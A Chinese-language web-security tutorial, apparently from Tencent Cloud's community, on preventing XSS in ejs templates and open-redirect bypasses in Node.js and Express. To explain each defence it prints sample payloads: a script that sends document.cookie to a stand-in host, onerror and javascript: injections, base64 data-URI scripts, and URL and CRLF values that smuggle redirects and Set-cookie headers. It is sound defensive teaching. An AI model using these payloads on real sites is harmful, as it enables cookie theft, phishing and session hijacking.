web前端安全相关

老生常谈的XSS

XSS, 即为(Cross Site Scripting), 中文名为跨站脚本攻击

形成原因:开发者信任了攻击者的提交内容

危害:导致恶意代码执行获取敏感信息如以下代码,攻击者将用户的cookie发送至自己服务器

<script>
	location.href='http://xxx.com/?cookie=' + document.cookie
</script>

XSS防范

从ejs的源码我们可以看到<%=%> 输出时会对一些字符进行转义

var _ENCODE_HTML_RULES = {
      '&': '&amp;'
    , '<': '&lt;'
    , '>': '&gt;'
    , '"': '&#34;'
    , "'": '&#39;'
    }
  , _MATCH_HTML = /[&<>\'"]/g;

function encode_char(c) {
  return _ENCODE_HTML_RULES[c] || c;
};

这里转义的原因是:<>'"字符对原有的html结构会进行破坏,从而给了攻击者拼接代码的可能

&符号必须先转义,否则其他已经被转成html实体中&符号会被重复转义

是不是使用ejs <%=%> 就安全了?

看下面的这个例子

<img src=<%=class=%> />
<img src=/404.png onerror=alert(1)  />

html属性在没有单、双引号的情况下也是允许的,这时候属性值是包含空格的时候也有被攻击的可能,所以针对这种场景我们也要考虑将空格转义

s = s.replace(/ /g,"&nbsp;");

同时某些特定的属性我们也需要注意:

<a href=javascript:alert(1) />
<a href=JaVaScRiPt:alert(1) />
// TAB键分隔
<a href=ja	vascript:alert(1) />

这种情况下我们需要校验href属性是否包含 javascript:

浏览器对属性名的大小写不敏感以及TAB分隔会被忽略,所以我们可以正则/j\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t/g来判断属性的内容是否包含javascript

object标签data属性和iframe src属性也有注入的风险,可以看下面有例子

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

JSON安全输出

有些时候我们需要将后端的数据json输出在页面,如下代码

<script>
var userInfo = <%= JSON.stringify(loginData.userInfo) %>
</script>

ejs <%=%> 会将json里的'"号进行转义,从而导致json不合法,使用 <%-%> 原样输出json语法不会有问题,但是会带来XSS安全问题,所以json安全输出我们可以单独转义

var ESCAPED_CHARS = {
    '<'     : '\\u003C',
    '>'     : '\\u003E',
    '/'     : '\\u002F',
    '\u2028': '\\u2028',
    '\u2029': '\\u2029'
};

<>/ 符号是为了避免出现</script>提前结束script代码块

\u2028 \u2029 两个不可见字符在json字面量中是不合法的,所以也需要转义

XSS总结

出现XSS大部分原因是来自用户恶意提交内容,所以需要根据内容输出场景选择合适的方法进行过滤或者转义。

任意跳转漏洞

什么叫跳转漏洞,跳转漏洞是指后端未对跳转目的地链接进行合法性和白名单校验,导致用户被钓鱼,造成财产的损失。

我们在使用Node.js url模块的parse方法对链接进行解析后来校验,在解析过程发现一些特殊场景,

假定我们认为cloud.tencent.com是安全域名

使用@符号来构造BasicAuth协议来绕过域名校验

const url = require('url');
console.log(url.parse('https://cloud.tencent.com\\x@www.xxx.com'));

{
  protocol: 'https:',
  slashes: true,
  auth: null,
  host: 'cloud.tencent.com',
  port: null,
  hostname: 'cloud.tencent.com',
  hash: null,
  search: null,
  query: null,
  pathname: '/x@www.xxx.com',
  path: '/x@www.xxx.com',
  href: 'https://cloud.tencent.com/x@www.xxx.com' 
}

从parse结果来看host确实是cloud.tencent.com

但是express在redirect的时候会对url上的部分字符进行编码

https://cloud.tencent.com\\x@www.xxx.com => https://cloud.tencent.com%5Cx@www.xxx.com

这样刚好命中了BasicAuth规则,浏览器不再跳转https://cloud.tencent.com,而是直接跳到www.xxx.com

建议在对域名校验的同时,对URL路径上字符也进行校验,比如正常情况下我们不会用到的 @ 符

利用不规范的协议以及相对路径绕过

const url = require('url');
console.log(url.parse('https:\\\\cloud.tencent.com/../../developer/ask/question/24314'));

{
  protocol: 'https:',
  slashes: true,
  auth: null,
  host: 'cloud.tencent.com',
  port: null,
  hostname: 'cloud.tencent.com',
  hash: null,
  search: null,
  query: null,
  pathname: '/../../developer/ask/question/24314',
  path: '/../../developer/ask/question/24314',
  href: 'https://cloud.tencent.com/../../developer/ask/question/24314' 
 }

解析结果上来看protocol host是合法的,但是最终重定向的结果会被../../导向不符合预期的相对url上去

建议在url.parse前,使用正则/^https:\/\//来校验协议是否合法

利用crlf回车换行符绕过

正常情况下我们的重定向返回包是这样

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 24 Jun 2018 11:01:17 GMT 
Content-Type: text/html 
Content-Length: 520 
Connection: close 
Location: https://cloud.tencent.com

但是如果回跳url上有回车换行符时 https://cloud.tencent.com%0aSet-cookie:JSPSESSID%3Dwooyun

在某些后端语言setHeader方法操作后,发现会多一个 Set-cookie: JSPSESSID=wooyun的注入

HTTP/1.1 302 Moved Temporarily 
Date: Fri, 24 Jun 2018 11:01:17 GMT 
Content-Type: text/html 
Content-Length: 110
Connection: close 
Location: https://cloud.tencent.com
Set-cookie: JSPSESSID=wooyun

建议对url先过滤掉\r\n后再进行合法性判断

任意跳转漏洞总结

对于url校验我们最好做到以下几点

  1. 正则校验URL协议(不要太依赖框架)
  2. 过滤掉\n\r
  3. 校验path里是否有@
  4. 极端场景需要协议+域名+path一起校验

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券